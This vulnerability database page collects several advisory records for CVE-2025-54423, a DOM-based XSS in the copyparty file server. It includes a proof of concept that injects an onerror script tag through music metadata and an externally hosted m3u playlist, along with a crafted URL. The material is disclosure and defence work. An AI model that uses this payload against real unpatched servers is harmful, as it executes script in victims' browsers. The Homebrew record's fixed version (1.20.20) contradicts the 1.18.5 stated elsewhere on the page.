CVE-2025-54423 (GCVE-0-2025-54423)
Vulnerability from cvelistv5 – Published: 2025-07-28 19:53 – Updated: 2025-07-28 20:20
VLAI
EPSS
VEX
Title
copyparty has a DOM-Based XSS vulnerability when displaying multimedia metadata
Summary
copyparty is a portable file server. In versions up to and including versions 1.18.4, an unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files. This is fixed in version 1.18.5.
Severity
5.4 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-07-28 20:19 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/9001/copyparty/security/adviso… | x_refsource_CONFIRM |
| https://github.com/9001/copyparty/commit/895880ae… | x_refsource_MISC |
| https://github.com/9001/copyparty/releases/tag/v1.18.5 | x_refsource_MISC |
Impacted products
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BREW-COPYPARTY-CVE-2025-54423 (CVE-2025-54423)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:41 – Updated: 2026-09-09 23:48 – Source website
VLAI
Summary
copyparty has a DOM-Based XSS vulnerability when displaying multimedia metadata
Details
copyparty is a portable file server. In versions up to and including versions 1.18.4, an unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files. This is fixed in version 1.18.5.
Severity
5.4 (Medium)
References
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"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"upstream_fixed_in": "1.18.5"
},
"package": {
"ecosystem": "Homebrew",
"name": "copyparty",
"purl": "pkg:brew/copyparty"
},
"ranges": [
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"events": [
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"introduced": "0"
},
{
"fixed": "1.20.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "git",
"upstream_evidence": [
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"ecosystem": "GIT",
"key": "https://github.com/9001/copyparty",
"name": "https://github.com/9001/copyparty",
"strategy": "git",
"subject_version": "1.20.23"
},
{
"ecosystem": "PyPI",
"key": "pkg:pypi/copyparty@1.20.23",
"name": "copyparty",
"strategy": "registry",
"subject_version": "1.20.23"
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]
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"id": "BREW-copyparty-CVE-2025-54423",
"modified": "2026-09-09T23:48:44Z",
"published": "2026-08-13T16:41:06Z",
"references": [
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"type": "WEB",
"url": "https://github.com/9001/copyparty/releases/tag/v1.18.5"
},
{
"type": "ADVISORY",
"url": "https://github.com/9001/copyparty/security/advisories/GHSA-9q4r-x2hj-jmvr"
},
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"url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/54xxx/CVE-2025-54423.json"
},
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54423"
},
{
"type": "FIX",
"url": "https://github.com/9001/copyparty/commit/895880aeb0be0813ddf732487596633f8f9fc3a6"
}
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"schema_version": "1.7.3",
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"upstream": [
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"GHSA-9q4r-x2hj-jmvr",
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FKIE_CVE-2025-54423
Vulnerability from fkie_nvd - Published: 2025-07-28 20:17 - Updated: 2026-06-17 09:40
Severity
5.4 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
6.1 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
6.1 (Medium) - CVSS:3.1/
Summary
copyparty is a portable file server. In versions up to and including versions 1.18.4, an unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files. This is fixed in version 1.18.5.
References
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GHSA-9Q4R-X2HJ-JMVR
Vulnerability from github – Published: 2025-07-28 16:41 – Updated: 2025-07-29 12:34
VLAI
Summary
copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata
Details
Summary
An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files.
Details
Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:
- a user which has the necessary permission for uploading files can upload a song with an artist-name such as
<img src=x onerror=alert(document.domain)> - an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file
The CVE score and PoC is based on the m3u approach, which results in a higher severity.
PoC
-
Create a file named
song.m3uwith the following content. Host this file on an attacker-controlled web server.```m3u
EXTM3U
EXTINF:1,">
- ">
http://example.com/audio.mp3 ```
-
Craft and share the malicious URL:
http://127.0.0.1:3923/#m3u=https://example.com/song.m3u
Impact
Any user that accesses this malicious URL is impacted.
Severity
5.4 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.18.4"
},
"package": {
"ecosystem": "PyPI",
"name": "copyparty"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.18.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54423"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-28T16:41:44Z",
"nvd_published_at": "2025-07-28T20:17:48Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nAn unauthenticated attacker is able to execute arbitrary JavaScript code in a victim\u0027s browser due to improper sanitization of multimedia tags in music files, including `m3u` files.\n\n### Details\n\nMultimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:\n\n* a user which has the necessary permission for uploading files can upload a song with an artist-name such as `\u003cimg src=x onerror=alert(document.domain)\u003e`\n* an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file\n\nThe CVE score and PoC is based on the m3u approach, which results in a higher severity.\n\n### PoC\n1. Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server.\n\n ```m3u\n #EXTM3U\n #EXTINF:1,\"\u003e\u003cimg src=x onerror=alert(document.domain)\u003e - \"\u003e\u003cimg src=x onerror=alert(document.domain)\u003e\n http://example.com/audio.mp3\n ```\n\n2. Craft and share the malicious URL: \n\n ```\n http://127.0.0.1:3923/#m3u=https://example.com/song.m3u\n ```\n\n\n### Impact\nAny user that accesses this malicious URL is impacted.",
"id": "GHSA-9q4r-x2hj-jmvr",
"modified": "2025-07-29T12:34:32Z",
"published": "2025-07-28T16:41:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/9001/copyparty/security/advisories/GHSA-9q4r-x2hj-jmvr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54423"
},
{
"type": "WEB",
"url": "https://github.com/9001/copyparty/commit/895880aeb0be0813ddf732487596633f8f9fc3a6"
},
{
"type": "PACKAGE",
"url": "https://github.com/9001/copyparty"
},
{
"type": "WEB",
"url": "https://github.com/9001/copyparty/releases/tag/v1.18.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata"
}
PYSEC-2026-1277
Vulnerability from pysec - Published: 2026-07-07 16:02 - Updated: 2026-07-07 17:23
VLAI
Details
Summary
An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files.
Details
Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:
- a user which has the necessary permission for uploading files can upload a song with an artist-name such as
<img src=x onerror=alert(document.domain)> - an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file
The CVE score and PoC is based on the m3u approach, which results in a higher severity.
PoC
-
Create a file named
song.m3uwith the following content. Host this file on an attacker-controlled web server.```m3u
EXTM3U
EXTINF:1,">
http://example.com/audio.mp3 ```
-
Craft and share the malicious URL:
http://127.0.0.1:3923/#m3u=https://example.com/song.m3u
Impact
Any user that accesses this malicious URL is impacted.
Severity
5.4 (Medium)
Impacted products
| Name | purl | copyparty | pkg:pypi/copyparty |
|---|
Aliases
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "copyparty",
"purl": "pkg:pypi/copyparty"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.18.5"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.10.0",
"0.10.1",
"0.10.10",
"0.10.11",
"0.10.12",
"0.10.13",
"0.10.14",
"0.10.15",
"0.10.16",
"0.10.17",
"0.10.18",
"0.10.19",
"0.10.2",
"0.10.20",
"0.10.21",
"0.10.22",
"0.10.3",
"0.10.4",
"0.10.5",
"0.10.6",
"0.10.7",
"0.10.8",
"0.10.9",
"0.11.0",
"0.11.1",
"0.11.10",
"0.11.11",
"0.11.12",
"0.11.13",
"0.11.14",
"0.11.15",
"0.11.16",
"0.11.17",
"0.11.18",
"0.11.19",
"0.11.20",
"0.11.21",
"0.11.22",
"0.11.23",
"0.11.24",
"0.11.26",
"0.11.27",
"0.11.28",
"0.11.29",
"0.11.30",
"0.11.31",
"0.11.32",
"0.11.33",
"0.11.34",
"0.11.35",
"0.11.36",
"0.11.37",
"0.11.38",
"0.11.39",
"0.11.40",
"0.11.41",
"0.11.42",
"0.11.43",
"0.11.44",
"0.11.45",
"0.11.46",
"0.11.47",
"0.11.5",
"0.11.6",
"0.11.7",
"0.11.8",
"0.11.9",
"0.12.1",
"0.12.10",
"0.12.11",
"0.12.12",
"0.12.3",
"0.12.4",
"0.12.5",
"0.12.6",
"0.12.7",
"0.12.8",
"0.12.9",
"0.13.0",
"0.13.1",
"0.13.10",
"0.13.11",
"0.13.12",
"0.13.13",
"0.13.14",
"0.13.2",
"0.13.3",
"0.13.5",
"0.13.6",
"0.13.7",
"0.13.9",
"0.2.3",
"0.3.0",
"0.3.1",
"0.4.0",
"0.4.1",
"0.4.2",
"0.4.3",
"0.5.0",
"0.5.1",
"0.5.2",
"0.5.3",
"0.5.4",
"0.5.5",
"0.5.6",
"0.5.7",
"0.6.0",
"0.6.2",
"0.6.3",
"0.7.0",
"0.7.1",
"0.7.2",
"0.7.3",
"0.7.4",
"0.7.5",
"0.7.6",
"0.7.7",
"0.8.1",
"0.8.3",
"0.9.0",
"0.9.1",
"0.9.10",
"0.9.11",
"0.9.13",
"0.9.3",
"0.9.4",
"0.9.5",
"0.9.6",
"0.9.7",
"0.9.8",
"0.9.9",
"1.0.0",
"1.0.1",
"1.0.10",
"1.0.11",
"1.0.12",
"1.0.13",
"1.0.14",
"1.0.2",
"1.0.3",
"1.0.4",
"1.0.5",
"1.0.7",
"1.0.8",
"1.0.9",
"1.1.0",
"1.1.1",
"1.1.10",
"1.1.11",
"1.1.12",
"1.1.2",
"1.1.3",
"1.1.4",
"1.1.5",
"1.1.6",
"1.1.7",
"1.1.8",
"1.1.9",
"1.10.0",
"1.10.1",
"1.10.2",
"1.11.0",
"1.11.1",
"1.11.2",
"1.12.0",
"1.12.1",
"1.12.2",
"1.13.0",
"1.13.1",
"1.13.2",
"1.13.3",
"1.13.4",
"1.13.5",
"1.13.6",
"1.13.7",
"1.13.8",
"1.14.0",
"1.14.1",
"1.14.2",
"1.14.3",
"1.14.4",
"1.15.0",
"1.15.1",
"1.15.10",
"1.15.2",
"1.15.3",
"1.15.4",
"1.15.5",
"1.15.6",
"1.15.7",
"1.15.8",
"1.15.9",
"1.16.0",
"1.16.1",
"1.16.10",
"1.16.11",
"1.16.12",
"1.16.13",
"1.16.14",
"1.16.15",
"1.16.16",
"1.16.17",
"1.16.18",
"1.16.19",
"1.16.2",
"1.16.20",
"1.16.21",
"1.16.3",
"1.16.4",
"1.16.5",
"1.16.6",
"1.16.7",
"1.16.8",
"1.16.9",
"1.17.0",
"1.17.1",
"1.17.2",
"1.18.0",
"1.18.1",
"1.18.2",
"1.18.3",
"1.18.4",
"1.2.0",
"1.2.1",
"1.2.10",
"1.2.11",
"1.2.2",
"1.2.3",
"1.2.4",
"1.2.5",
"1.2.6",
"1.2.7",
"1.2.8",
"1.2.9",
"1.3.0",
"1.3.1",
"1.3.10",
"1.3.11",
"1.3.12",
"1.3.13",
"1.3.14",
"1.3.15",
"1.3.16",
"1.3.2",
"1.3.3",
"1.3.4",
"1.3.5",
"1.3.6",
"1.3.7",
"1.3.8",
"1.3.9",
"1.4.0",
"1.4.1",
"1.4.2",
"1.4.3",
"1.4.4",
"1.4.5",
"1.4.6",
"1.5.0",
"1.5.1",
"1.5.2",
"1.5.3",
"1.5.4",
"1.5.5",
"1.5.6",
"1.6.0",
"1.6.1",
"1.6.10",
"1.6.11",
"1.6.12",
"1.6.13",
"1.6.14",
"1.6.15",
"1.6.2",
"1.6.3",
"1.6.4",
"1.6.5",
"1.6.6",
"1.6.7",
"1.6.8",
"1.6.9",
"1.7.0",
"1.7.1",
"1.7.2",
"1.7.3",
"1.7.4",
"1.7.5",
"1.7.6",
"1.8.0",
"1.8.1",
"1.8.2",
"1.8.3",
"1.8.4",
"1.8.6",
"1.8.7",
"1.8.8",
"1.9.0",
"1.9.1",
"1.9.10",
"1.9.11",
"1.9.12",
"1.9.13",
"1.9.14",
"1.9.15",
"1.9.16",
"1.9.17",
"1.9.18",
"1.9.19",
"1.9.2",
"1.9.20",
"1.9.21",
"1.9.24",
"1.9.25",
"1.9.26",
"1.9.27",
"1.9.28",
"1.9.29",
"1.9.3",
"1.9.30",
"1.9.31",
"1.9.4",
"1.9.5",
"1.9.6",
"1.9.7",
"1.9.8",
"1.9.9"
]
}
],
"aliases": [
"CVE-2025-54423",
"GHSA-9q4r-x2hj-jmvr"
],
"details": "### Summary\n\nAn unauthenticated attacker is able to execute arbitrary JavaScript code in a victim\u0027s browser due to improper sanitization of multimedia tags in music files, including `m3u` files.\n\n### Details\n\nMultimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:\n\n* a user which has the necessary permission for uploading files can upload a song with an artist-name such as `\u003cimg src=x onerror=alert(document.domain)\u003e`\n* an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file\n\nThe CVE score and PoC is based on the m3u approach, which results in a higher severity.\n\n### PoC\n1. Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server.\n\n ```m3u\n #EXTM3U\n #EXTINF:1,\"\u003e\u003cimg src=x onerror=alert(document.domain)\u003e - \"\u003e\u003cimg src=x onerror=alert(document.domain)\u003e\n http://example.com/audio.mp3\n ```\n\n2. Craft and share the malicious URL: \n\n ```\n http://127.0.0.1:3923/#m3u=https://example.com/song.m3u\n ```\n\n\n### Impact\nAny user that accesses this malicious URL is impacted.",
"id": "PYSEC-2026-1277",
"modified": "2026-07-07T17:23:57.786922Z",
"published": "2026-07-07T16:02:59.039311Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/9001/copyparty/security/advisories/GHSA-9q4r-x2hj-jmvr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54423"
},
{
"type": "WEB",
"url": "https://github.com/9001/copyparty/commit/895880aeb0be0813ddf732487596633f8f9fc3a6"
},
{
"type": "PACKAGE",
"url": "https://github.com/9001/copyparty"
},
{
"type": "WEB",
"url": "https://github.com/9001/copyparty/releases/tag/v1.18.5"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/copyparty"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-9q4r-x2hj-jmvr"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata"
}
Loading…
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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